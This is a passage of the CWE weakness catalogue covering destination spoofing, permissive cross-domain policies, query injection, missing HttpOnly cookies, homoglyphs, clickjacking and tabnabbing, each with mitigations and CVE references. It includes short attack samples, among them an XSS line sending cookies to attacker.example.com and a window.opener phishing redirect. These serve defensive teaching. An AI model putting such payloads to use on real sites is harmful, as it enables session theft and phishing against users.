- If the software allows an attacker to control which destination is specified, then the attacker can cause it to connect to an untrusted or malicious destination. For example, because UDP is a connectionless protocol, UDP packets can be spoofed by specifying a false source address in the packet; when the server receives the packet and sends a reply, it will specify a destination by using the source of the incoming packet - i.e., the false source. The server can then be tricked into sending traffic to the wrong host, which is effective for hiding the real source of an attack and for conducting a distributed denial of service (DDoS). As another example, server-side request forgery (SSRF) and XML External Entity (XXE) can be used to trick a server into making outgoing requests to hosts that cannot be directly accessed by the attacker due to firewall restrictions.
- If the software incorrectly specifies the destination, then an attacker who can control this destination might be able to spoof trusted servers. While the most common occurrence is likely due to misconfiguration by an administrator, this can be resultant from other weaknesses. For example, the software might incorrectly parse an e-mail or IP address and send sensitive data to an unintended destination. As another example, an Android application may use a "sticky broadcast" to communicate with a receiver for a particular application, but since sticky broadcasts can be processed by *any* receiver, this can allow a malicious application to access restricted data that was only intended for a different application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1604
CanPrecede	C	406	Insufficient Control of Network Message Volume (Network Amplification)	884

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Demonstrative Examples

Example 1:

This code listens on a port for DNS requests and sends the result to the requesting address.

Example Language: Python *(bad)*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
```

```
while true:
    data = sock.recvfrom(1024)
    if not data:
        break
    (requestIP, nameToResolve) = parseUDPpacket(data)
    record = resolveName(nameToResolve)
    sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

Observed Examples

Reference	Description
CVE-2013-5211	composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5211*
CVE-1999-0513	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0513*
CVE-1999-1379	DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1379*

Notes

Maintenance

This entry will be made more comprehensive in later CWE versions.

References

[REF-941]US-CERT. "UDP-based Amplification Attacks". 2014 January 7. < https://www.us-cert.gov/ncas/alerts/TA14-017A >.

[REF-942]Fortify. "Android Bad Practices: Sticky Broadcast". < http://www.hpenterprisesecurity.com/vulncat/en/vulncat/java/android_bad_practices_sticky_broadcast.html >.

CWE-942: Permissive Cross-domain Policy with Untrusted Domains

Weakness ID : 942 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses a cross-domain policy file that includes domains that should not be trusted.

Extended Description

A cross-domain policy file ("crossdomain.xml" in Flash and "clientaccesspolicy.xml" in Silverlight) defines a list of domains from which a server is allowed to make cross-domain requests. When making a cross-domain request, the Flash or Silverlight client will first look for the policy file on the target server. If it is found, and the domain hosting the application is explicitly allowed to make requests, the request is made.

Therefore, if a cross-domain policy file includes domains that should not be trusted, such as when using wildcards, then the application could be attacked by these untrusted domains.

An overly permissive policy file allows many of the same attacks seen in Cross-Site Scripting (CWE-79). Once the user has executed a malicious Flash or Silverlight application, they are

vulnerable to a variety of attacks. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site.

In many cases, the attack can be launched without the victim even being aware of it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	183	Permissive List of Allowed Inputs	424
ChildOf	P	284	Improper Access Control	619
CanPrecede		668	Exposure of Resource to Wrong Sphere	1305

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism Read Application Data Varies by Context *An attacker may be able to bypass the web browser's same-origin policy. An attacker can exploit the weakness to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running ActiveX controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.*	

Potential Mitigations

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Avoid using wildcards in the cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

Phase: Architecture and Design

Phase: Operation

Strategy = Attack Surface Reduction

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

Demonstrative Examples

Example 1:

These cross-domain policy files mean to allow Flash and Silverlight applications hosted on other domains to access its data:

Flash crossdomain.xml :

Example Language: XML *(bad)*

```
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*.example.com"/>
<allow-access-from domain="*"/>
</cross-domain-policy>
```

Silverlight clientaccesspolicy.xml :

Example Language: XML *(bad)*

```
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="SOAPAction">
<domain uri="*"/>
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>
```

These entries are far too permissive, allowing any Flash or Silverlight application to send requests. A malicious application hosted on any other web site will be able to send requests on behalf of any user tricked into executing it.

Observed Examples

Reference	Description
CVE-2012-2292	Product has a Silverlight cross-domain policy that does not restrict access to another application, which allows remote attackers to bypass the Same Origin Policy. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2292*
CVE-2014-2049	The default Flash Cross Domain policies in a product allows remote attackers to access user files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2049*
CVE-2007-6243	Chain: Adobe Flash Player does not sufficiently restrict the interpretation and usage of cross-domain policy files, which makes it easier for remote attackers to conduct cross-domain and cross-site scripting (XSS) attacks.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6243
CVE-2008-4822	Chain: Adobe Flash Player and earlier does not properly interpret policy files, which allows remote attackers to bypass a non-root domain policy. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4822*
CVE-2010-3636	Chain: Adobe Flash Player does not properly handle unspecified encodings during the parsing of a cross-domain policy file, which allows remote web servers to bypass intended access restrictions via unknown vectors. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3636*

References

[REF-943]Apurva Udaykumar. "Setting a crossdomain.xml file for HTTP streaming". 2012 November 9. Adobe. < http://www.adobe.com/devnet/adobe-media-server/articles/cross-domain-xml-for-streaming.html >.

[REF-944]Adobe. "Cross-domain policy for Flash movies". Adobe. < http://kb2.adobe.com/cps/142/tn_14213.html >.

[REF-945]Microsoft Corporation. "HTTP Communication and Security with Silverlight". < http://msdn.microsoft.com/en-us/library/cc838250.aspx >.

[REF-946]Microsoft Corporation. "Network Security Access Restrictions in Silverlight". < http://msdn.microsoft.com/en-us/library/cc645032.aspx >.

[REF-947]Dongseok Jang, Aishwarya Venkataraman, G. Michael Sawka and Hovav Shacham. "Analyzing the Crossdomain Policies of Flash Applications". 2011 May. < http://cseweb.ucsd.edu/~hovav/dist/crossdomain.pdf >.

CWE-943: Improper Neutralization of Special Elements in Data Query Logic

Weakness ID : 943 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The application generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

Extended Description

Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:

- Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated
- Append additional commands to the query
- Return more entities than intended
- Return fewer entities than intended
- Cause entities to be sorted in an unexpected way

The ability to execute additional commands or change which entities are returned has obvious risks. But when the application logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the application query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges.

While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, Xpath, and "NoSQL" languages.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130
ParentOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	187
ParentOf	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	198
ParentOf	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	1263
ParentOf	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	1278

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Bypass Protection Mechanism	
Integrity	Read Application Data	
Availability	Modify Application Data	
Access Control	Varies by Context	

Observed Examples

Reference	Description
CVE-2014-2503	Injection using Documentum Query Language (DQL) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2503*
CVE-2014-2508	Injection using Documentum Query Language (DQL) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2508*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	1975

Notes

Relationship

It could be argued that data query languages are effectively a command language - albeit with a limited set of commands - and thus any query-language injection issue could be treated as a child of CWE-74. However, CWE-943 is intended to better organize query-oriented issues to separate them from fully-functioning programming languages, and also to provide a more precise identifier for the many query languages that do not have their own CWE identifier.

Maintenance

This entry will be made more comprehensive in future CWE versions.

CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag

Weakness ID : 1004 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.

Extended Description

The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	732	Incorrect Permission Assignment for Critical Resource	1367

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Background Details

An HTTP cookie is a small piece of data attributed to a specific website and stored on the user's computer by the user's web browser. This data can be leveraged for a variety of purposes including saving information entered into form fields, recording user activity, and for authentication purposes. Cookies used to save or record information generated by the user are accessed and modified by script code embedded in a web page. While cookies used for authentication are created by the website's server and sent to the user to be attached to future requests. These authentication cookies are often not meant to be accessed by the web page sent to the user, and are instead just supposed to be attached to future requests to verify authentication details.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties.*	
Integrity	Gain Privileges or Assume Identity *If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user.*	

Potential Mitigations

Phase: Implementation

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Effectiveness = High

While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHTTPResponse to read the headers directly and obtain the cookie.

Demonstrative Examples

Example 1:

In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

The snippet of code below establishes a new cookie to hold the sessionID.

Example Language: Java *(bad)*

```
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
```

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

Example Language: JavaScript *(attack)*

```
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
```

When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

To mitigate the risk, use the setHttpOnly(true) method.

Example Language: Java *(good)*

```
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
```

Observed Examples

Reference	Description
CVE-2014-3852	CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.

Reference	Description
	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3852
CVE-2015-4138	Appliance for managing encrypted communications does not use HttpOnly flag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4138*

References

[REF-2]OWASP. "HttpOnly". < https://www.owasp.org/index.php/HttpOnly >.

[REF-3]Michael Howard. "Some Bad News and Some Good News". 2002. < https://msdn.microsoft.com/en-us/library/ms972826.aspx >.

[REF-4]Troy Hunt. "C is for cookie, H is for hacker - understanding HTTP only and Secure cookies". 2013 March 6. < https://www.troyhunt.com/c-is-for-cookie-h-is-for-hacker/ >.

[REF-5]Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". < https://msdn.microsoft.com/en-us/library/ms533046.aspx >.

CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User

Weakness ID : 1007 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software displays information or identifiers to a user, but the display mechanism does not make it easy for the user to distinguish between visually similar or identical glyphs (homoglyphs), which may cause the user to misinterpret a glyph and perform an unintended, insecure action.

Extended Description

Some glyphs, pictures, or icons can be semantically distinct to a program, while appearing very similar or identical to a human user. These are referred to as homoglyphs. For example, the lowercase "l" (ell) and uppercase "I" (eye) have different character codes, but these characters can be displayed in exactly the same way to a user, depending on the font. This can also occur between different character sets. For example, the Latin capital letter "A" and the Greek capital letter "#" (Alpha) are treated as distinct by programs, but may be displayed in exactly the same way to a user. Accent marks may also cause letters to appear very similar, such as the Latin capital letter grave mark "À" and its equivalent "À" with the acute accent.

Adversaries can exploit this visual similarity for attacks such as phishing, e.g. by providing a link to an attacker-controlled hostname that looks like a hostname that the victim trusts. In a different use of homoglyphs, an adversary may create a back door username that is visually similar to the username of a regular user, which then makes it more difficult for a system administrator to detect the malicious username while reviewing logs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	451	User Interface (UI) Misrepresentation of Critical Information	962

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	1860

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Sometimes)*

Alternate Terms

Homograph Attack : "Homograph" is often used as a synonym of "homoglyph" by researchers, but according to Wikipedia, a homograph is a word that has multiple, distinct meanings.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Other *An attacker may ultimately redirect a user to a malicious website, by deceiving the user into believing the URL they are accessing is a trusted domain. However, the attack can also be used to forge log entries by using homoglyphs in usernames. Homoglyph manipulations are often the first step towards executing advanced attacks such as stealing a user's credentials, Cross-Site Scripting (XSS), or log forgery. If an attacker redirects a user to a malicious site, the attacker can mimic a trusted domain to steal account credentials and perform actions on behalf of the user, without the user's knowledge. Similarly, an attacker could create a username for a website that contains homoglyph characters, making it difficult for an admin to review logs and determine which users performed which actions.*	

Detection Methods

Manual Dynamic Analysis

If utilizing user accounts, attempt to submit a username that contains homoglyphs. Similarly, check to see if links containing homoglyphs can be sent via email, web browsers, or other mechanisms.

Effectiveness = Moderate

Potential Mitigations

Phase: Implementation

Use a browser that displays Punycode for IDNs in the URL and status bars, or which color code various scripts in URLs. Due to the prominence of homoglyph attacks, several browsers now help safeguard against this attack via the use of Punycode. For example, Mozilla Firefox and Google Chrome will display IDNs as Punycode if top-level domains do not restrict which characters can be used in domain names or if labels mix scripts for different languages.

Phase: Implementation

Use an email client that has strict filters and prevents messages that mix character sets to end up in a user's inbox. Certain email clients such as Google's GMail prevent the use of non-Latin

characters in email addresses or in links contained within emails. This helps prevent homoglyph attacks by flagging these emails and redirecting them to a user's spam folder.

Demonstrative Examples

Example 1:

The following looks like a simple, trusted URL that a user may frequently access.

Example Language: *(attack)*

```
http://www.#x#m#l#.##m
```

However, the URL above is comprised of Cyrillic characters that look identical to the expected ASCII characters. This results in most users not being able to distinguish between the two and assuming that the above URL is trusted and safe. The "e" is actually the "CYRILLIC SMALL LETTER IE" which is represented in HTML as the character &#x0435, while the "a" is actually the "CYRILLIC SMALL LETTER A" which is represented in HTML as the character &#x0430. The "p", "c", and "o" are also Cyrillic characters in this example. Viewing the source reveals a URL of "http://www.еxаmрlе.соm". An adversary can utilize this approach to perform an attack such as a phishing attack in order to drive traffic to a malicious website.

Example 2:

The following displays an example of how creating usernames containing homoglyphs can lead to log forgery.

Assume an adversary visits a legitimate, trusted domain and creates the account "admin" where the 'a' and 'i' characters are Cyrillic characters instead of the expected ACII. Any actions the adversary performs will be saved to the log file and look like they came from a legitimate administrator account.

Example Language: *(result)*

```
123.123.123.123 #dm#n [17/Jul/2017:09:05:49 -0400] "GET /example/users/userlist HTTP/1.1" 401 12846
123.123.123.123 #dm#n [17/Jul/2017:09:06:51 -0400] "GET /example/users/userlist HTTP/1.1" 200 4523
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
```

However, upon closer inspection, the account that generated these log entries is "аdmіn". This makes it more difficult to determine which actions were performed by the adversary and which actions were executed by the legitimate "admin" account.

Observed Examples

Reference	Description
CVE-2013-7236	web forum allows impersonation of users with homoglyphs in account names *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7236*
CVE-2012-0584	Improper character restriction in URLs in web browser *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0584*
CVE-2009-0652	Incomplete denylist does not include homoglyphs of "/" and "?" characters in URLs *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0652*
CVE-2017-5015	web browser does not convert hyphens to punycode, allowing IDN spoofing in URLs *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5015*
CVE-2005-0233	homoglyph spoofing using punycode in URLs and certificates *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0233*

Reference	Description
CVE-2005-0234	homoglyph spoofing using punycode in URLs and certificates *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0234*
CVE-2005-0235	homoglyph spoofing using punycode in URLs and certificates *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0235*

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-8]Gregory Baatard and Peter Hannay. "The 2011 IDN Homograph Attack Mitigation Survey". 2012. ECU Publications. < http://ro.ecu.edu.au/cgi/viewcontent.cgi?article=1174&context=ecuworks2012 >.

CWE-1021: Improper Restriction of Rendered UI Layers or Frames

Weakness ID : 1021 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The web application does not restrict or incorrectly restricts frame objects or UI layers that belong to another application or domain, which can lead to user confusion about which interface the user is interacting with.

Extended Description

A web application is expected to place restrictions on whether it is allowed to be rendered within frames, iframes, objects, embed or applet elements. Without the restrictions, users can be tricked into interacting with the application when they were not intending to.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	451	User Interface (UI) Misrepresentation of Critical Information	962
ChildOf	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	950

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1213

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	1860

Applicable Platforms

Technology : Web Based *(Prevalence = Undetermined)*

Alternate Terms

Clickjacking :

UI Redress Attack :

Tapjacking : "Tapjacking" is similar to clickjacking, except it is used for mobile applications in which the user "taps" the application instead of performing a mouse click.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism Read Application Data Modify Application Data *An attacker can trick a user into performing actions that are masked and hidden from the user's view. The impact varies widely, depending on the functionality of the underlying application. For example, in a social media application, clickjacking could be used to trik the user into changing privacy settings.*	

Potential Mitigations

Phase: Implementation

The use of X-Frame-Options allows developers of web content to restrict the usage of their application within the form of overlays, frames, or iFrames. The developer can indicate from which domains can frame the content. The concept of X-Frame-Options is well documented, but implementation of this protection mechanism is in development to cover gaps. There is a need for allowing frames from multiple domains.

Phase: Implementation

A developer can use a "frame-breaker" script in each page that should not be framed. This is very helpful for legacy browsers that do not support X-Frame-Options security feature previously mentioned. It is also important to note that this tactic has been circumvented or bypassed. Improper usage of frames can persist in the web application through nested frames. The "frame-breaking" script does not intuitively account for multiple nested frames that can be presented to the user.

Phase: Implementation

This defense-in-depth technique can be used to prevent the improper usage of frames in web applications. It prioritizes the valid sources of data to be loaded into the application through the usage of declarative policies. Based on which implementation of Content Security Policy is in use, the developer should use the "frame-ancestors" directive or the "frame-src" directive to mitigate this weakness. Both directives allow for the placement of restrictions when it comes to allowing embedded content.

Observed Examples

Reference	Description
CVE-2017-7440	E-mail preview feature in a desktop application allows clickjacking attacks via a crafted e-mail message *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7440*
CVE-2017-5697	Hardware/firmware product has insufficient clickjacking protection in its web user interface *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5697*
CVE-2017-4015	Clickjacking in data-loss prevention product via HTTP response header. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-4015*
CVE-2016-2496	Tapjacking in permission dialog for mobile OS allows access of private storage using a partially-overlapping window.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2496
CVE-2015-1241	Tapjacking in web browser related to page navigation and touch/gesture events. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1241*
CVE-2017-0492	System UI in mobile OS allows a malicious application to create a UI overlay of the entire screen to gain privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0492*

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
103	Clickjacking
181	Flash File Overlay
222	iFrame Overlay
504	Task Impersonation
506	Tapjacking

References

[REF-35]Andrew Horton. "Clickjacking For Shells". < https://www.exploit-db.com/docs/17881.pdf >.

[REF-36]OWASP. "Clickjacking - OWASP". < https://www.owasp.org/index.php/Clickjacking >.

[REF-37]Internet Security. "SecTheory". < http://www.sectheory.com/clickjacking.html >.

[REF-38]W3C. "Content Security Policy Level 3". < https://w3c.github.io/webappsec-csp/ >.

CWE-1022: Use of Web Link to Untrusted Target with window.opener Access

Weakness ID : 1022 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The web application produces links to untrusted external sites outside of its sphere of control, but it does not properly prevent the external site from modifying security-critical properties of the window.opener object, such as the location property.

Extended Description

When a user clicks a link to an external site ("target"), the target="_blank" attribute causes the target site's contents to be opened in a new window or tab, which runs in the same process as the original page. The window.opener object records information about the original page that offered the link. If an attacker can run script on the target page, then they could read or modify certain properties of the window.opener object, including the location property - even if the original and target site are not the same origin. An attacker can modify the location property to automatically redirect the user to a malicious site, e.g. as part of a phishing attack. Since this redirect happens in the original window/tab - which is not necessarily visible, since the browser is focusing the display on the new target page - the user might not notice any suspicious redirection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	266	Incorrect Privilege Assignment	580

Applicable Platforms

Language : JavaScript *(Prevalence = Often)*

Technology : Web Based *(Prevalence = Often)*

Alternate Terms

tabnabbing :

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Alter Execution Logic *The user may be redirected to an untrusted page that contains undesired content or malicious script code.*	

Potential Mitigations

Phase: Architecture and Design

Specify in the design that any linked external document must not be granted access to the location object of the calling page.

Phase: Implementation

When creating a link to an external document using the <a> tag with a defined target, for example "_blank" or a named frame, provide the rel attribute with a value "noopener noreferrer". If opening the external document in a new window via javascript, then reset the opener by setting it equal to null.

Phase: Implementation

Do not use "_blank" targets. However, this can affect the usability of your application.

Demonstrative Examples

Example 1:

In this example, the application opens a link in a named window/tab without taking precautions to prevent the called page from tampering with the calling page's location in the browser.

There are two ways that this weakness is commonly seen. The first is when the application generates an <a> tag is with target="_blank" to point to a target site:

Example Language: HTML *(bad)*

```
<a href="http://attacker-site.example.com/useful-page.html" target="_blank">
```

If the attacker offers a useful page on this link (or compromises a trusted, popular site), then a user may click on this link. However, the attacker could use scripting code to modify the window.opener's location property to redirect the application to a malicious, attacker-controlled page - such as one that mimics the look and feel of the original application and convinces the user to re-enter authentication credentials, i.e. phishing:

Example Language: JavaScript *(attack)*

```
window.opener.location = 'http://phishing.example.org/popular-bank-page';
```

To mitigate this type of weakness, some browsers support the "rel" attribute with a value of "noopener", which sets the window.opener object equal to null. Another option is to use the "rel" attribute with a value of "noreferrer", which in essence does the same thing.

Example Language: HTML *(good)*

```
<a href="http://attacker-site.example.com/useful-page.html" target="_blank" rel="noopener noreferrer">
```

A second way that this weakness is commonly seen is when opening a new site directly within JavaScript. In this case, a new site is opened using the window.open() function.

Example Language: JavaScript *(bad)*

```
var newWindow = window.open("http://attacker-site.example.com/useful-page.html", "_blank");
```

To mitigate this, set the window.opener object to null.

Example Language: JavaScript *(good)*

```
var newWindow = window.open("http://attacker-site.example.com/useful-page.html", "_blank");
newWindow.opener = null;
```

References

[REF-39]Alex Yumashev. "Target="_blank" - the most underestimated vulnerability ever". 2016 May 4. < https://medium.com/@jitbit/target-blank-the-most-underestimated-vulnerability-ever-96e328301f4c >.

[REF-40]Ben Halpern. "The target="_blank" vulnerability by example". 2016 September 1. < https://dev.to/ben/the-targetblank-vulnerability-by-example >.

[REF-958]Mathias Bynens. "About rel=noopener". 2016 March 5. < https://mathiasbynens.github.io/rel-noopener/ >.

